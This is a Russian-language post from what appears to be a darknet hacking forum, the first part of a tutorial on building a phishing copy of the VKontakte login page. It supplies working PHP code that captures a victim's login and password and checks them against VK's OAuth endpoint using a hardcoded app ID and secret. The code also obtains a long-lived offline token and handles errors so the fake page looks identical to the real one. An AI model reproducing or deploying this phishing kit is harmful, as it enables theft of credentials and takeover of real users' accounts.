API ВКонтакте: пилим простенький фишинг [Часть 1]

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

Morty

VIP

Morty

VIP
26 Окт 2017
537
113
Всем привет! С вами Andy. Делюсь с вами опытом как сделать простенький фишинговый сайт ВКонтатке с проверкой на валид. В этой части рассмотрим как написать скрипт авторизации/получения токена по логину и паролю, обработку ответов сервера ВКонтакте и вывод сообщения с ошибкой на странице при невалидности данных.

Дисклаймер
Материал предоставлен для ознакомления. Автор не побуждает совершать действия, описанные ниже. В статье упоминаются некоторые онлайн сервисы, что не является рекламой.

Приступим. Углубляться в то, как я делал html страницу не буду, ее можно скачать тут (Я.Диск)
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!

Сначала мы напишем скрипт, который отправит данные из HTML-формы серверам ВКонтакте и запросит получение токена. Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Запрос на прямую авторизацию выглядит примерно так:

https ://api.vk.com/oauth/token?grant_type=password&client_id=[наше значение]&scope=[наше значение]&client_secret=[наше значение]&username=[наше значение]&password=[наше значение]
Рассмотрим подробнее, что значат эти строки:
  • client_id - это id нашего приложения. Запишем в client_id значение 2274003.
  • scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого будет достаточно, чтобы входить на страницу ВК по токену через apidog.ru. !Важно: такой токен "живет" до тех пор, пока пользователь не сменит пароль, либо завершит все сессии в настройках безопасности.
  • client_secret - секретный ключ Вашего приложения. Будет равен hHbZxrka2uZ6jB1inYsH
  • username - логин пользователя ВКонтакте
  • password - пароль пользователя ВКонтакте
В итоге ссылка получится такая:
https ://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username=[логин ВКонтакте]&password=[пароль ВКонтакте]
Теперь создадим файл login.php и запишем туда следующее
[SRC]
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Отобразим результат запроса
print_r ($get_token);
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}

if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}

if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}

if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);

if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}

$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);

$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];


preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);

$cookies = implode(';', $parse_cookies[1]);

curl_close($ch);

return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
[/SRC]
Окей, мы написали скрипт, который посылает логин, пароль на авторизацию и получение токена. Но нам еще предстоит обработать ответы сервера. Ответов может быть несколько

Неправильный логин и/или пароль
4ca1e7f8e428141787c9e545c9cb7b09._.png
Сервер запросил от вас ввода капчи
b46bfec84179e2b8ac0697271605f0ea._.png
Сервер обнаружил двухфакторку на аккаунте
d954e7156599346bb04c029bff224ca2._.png
Сервер отправил BadRequest
5ccabf835325787e0877c55b068b2156._.png
Успех! Токен получен
753bab9b7489b988302251f40f81c8b8._.png
Обработаем ответы сервера. Создадим условие: если сервер пошлет в ответ что угодно, кроме токена, то отправим пользователя на стартовую страницу с сообщением об ошибке. Для этого добавим в login.php вместо строчки

[SRC]
print_r ($get_token);
[/SRC]
следующее:
[SRC]
//Если авторизация прошла успешно, то отобразим полученный токен
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
echo "token=".$token[0];
echo "<br>login=".$login;
echo "<br>password=".$password;
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
[/SRC]
Теперь сделаем так, чтобы стартовая страница могла отслеживать появление ошибок и выдавать об этом сообщение - добавим эти строки с самого начала файла, после тега
[SRC]<head>[/SRC]
в нашу authorize.html и !Важно: поменяем расширание файла с .html на .php
[SRC]
<?
$errorGet = $_GET['error_login'];
if (!$errorGet)
{
echo "<style>
#hide_row_pass {display: none;}
</style>";
}
else
{
echo "<style>
#hide_row_pass {display: block;}
</style>";
}
?>
[/SRC]
Что получилось в итоге...смотрите сами
Форма авторизации идентична vk.com
10c533ceadbeb02794cf3a9920a26e3f._.png

Проверяет валид данных и если что, шлет сообщение с ошибкой
2306d44fa111261807590094fdd26c89._.png

Отображает ответ от сервера с полученным токеном
3939768e8834cfbb567e6cb4dc9245a2._.png
На сегодня пожалуй всё. В следующей части разберем как создать базу данных и записать туда валидные данные аккаунтов ВК. Надеюсь, эта информация была для вас полезна!
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2024

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя